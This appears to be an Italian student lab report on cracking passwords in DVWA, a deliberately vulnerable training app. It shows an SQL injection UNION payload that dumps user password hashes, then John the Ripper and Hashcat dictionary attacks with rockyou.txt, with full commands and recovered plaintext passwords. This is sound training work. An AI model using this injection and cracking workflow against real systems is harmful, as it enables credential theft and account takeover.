

REPORT

Spiegazione programma di cracking "John the Ripper"

John the Ripper è un potente programma per "crackare" le password, che si utilizza in due tipi di cracking: forza bruta e attacco a dizionario.

- Nel cracking forza bruta, John the Ripper prova tutte le possibili combinazioni di caratteri fino a trovare la password corretta. È un processo che richiede tempo e molta potenza di calcolo, perché il programma deve provare diverse password possibili. Utilizza algoritmi di hashing per confrontare le password con l'hash della password crittografata, e se trova una corrispondenza, significa che ha trovato la password corretta.
- Nell'attacco a dizionario, John the Ripper utilizza una lista predefinita di parole o frasi comuni, ovvero un dizionario. Confronta queste parole o frasi con l'hash delle password crittografate per trovare una corrispondenza. Questo tipo di attacco sfrutta il fatto che molte persone utilizzano password deboli o facili da indovinare, come parole comuni o sequenze di tasti semplici.

Cracking password con John the Ripper

Ho ottenuto gli utenti e le password criptate da un database sfruttando un attacco di SQL injection su DVWA. Questo mi ha permesso di estrarre le informazioni necessarie per il crack delle password, inclusi gli hash crittografati delle password degli utenti.

Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

```
File Edit Search View Document Help
1 admin: 5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb: e99a18c428cb38d5f260853678922e03
3 1337: 8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo: 0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy: 5f4dcc3b5aa765d61d8327deb882cf99
6
```

Ho estratto la lista delle password "rockyou.txt", che contiene password comuni e facilmente indovinabili. Ho utilizzato questa lista come input per John the Ripper, al fine di cercare corrispondenze tra gli hash crittografati delle password ottenute e le password presenti nella lista.

```
(root@kali)-[/usr/share/wordlists]
# ls
amass dirb dirbuster fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt.gz sqlmap.txt wfuzz wifite.txt

(root@kali)-[/usr/share/wordlists]
# gunzip rockyou.txt.gz

(root@kali)-[/usr/share/wordlists]
# ls
amass dirb dirbuster fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt sqlmap.txt wfuzz wifite.txt

(root@kali)-[/usr/share/wordlists]
#
```

Ho lanciato John the Ripper con gli hash delle password ottenute e la lista delle password "rockyou". Il programma ha utilizzato algoritmi di hashing per confrontare gli hash crittografati delle password con quelle presenti nella lista. Quando ha trovato una corrispondenza, ha restituito la password in chiaro.

```
(root@kali)-[/home/kali/Desktop]
# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password (admin)
abc123 (gordonb)
letmein (pablo)
charley (1337)
4g 0:00:00:00 DONE (2023-06-07 08:15) 80.00g/s 57600p/s 57600c/s 76800C/s my3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Risultati: John the Ripper è riuscito a trovare la maggior parte delle password corrispondenti agli hash crittografati, rivelando così le password in chiaro degli utenti. Tuttavia, ho riscontrato un problema nel programma: quando più utenti condividevano la stessa password, John the Ripper considerava solo la prima occorrenza della password duplicata e non rilevava quelle successive.

Cracking con Hashcat

Ho utilizzato Hashcat per decifrare le password crittografate utilizzando un attacco a dizionario. Ho utilizzato la stessa wordlist utilizzata con John the Ripper.

Ho avviato Hashcat con i seguenti parametri:

- Tipo di hash: MD5 con lo switch "-m"
- Tipo di attacco: Dizionario con lo switch "-a"

```
(root@kali)-[/home/kali/Desktop]
# hashcat -a 0 -m 0 password.txt /usr/share/wordlists/rockyou.txt --show
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
```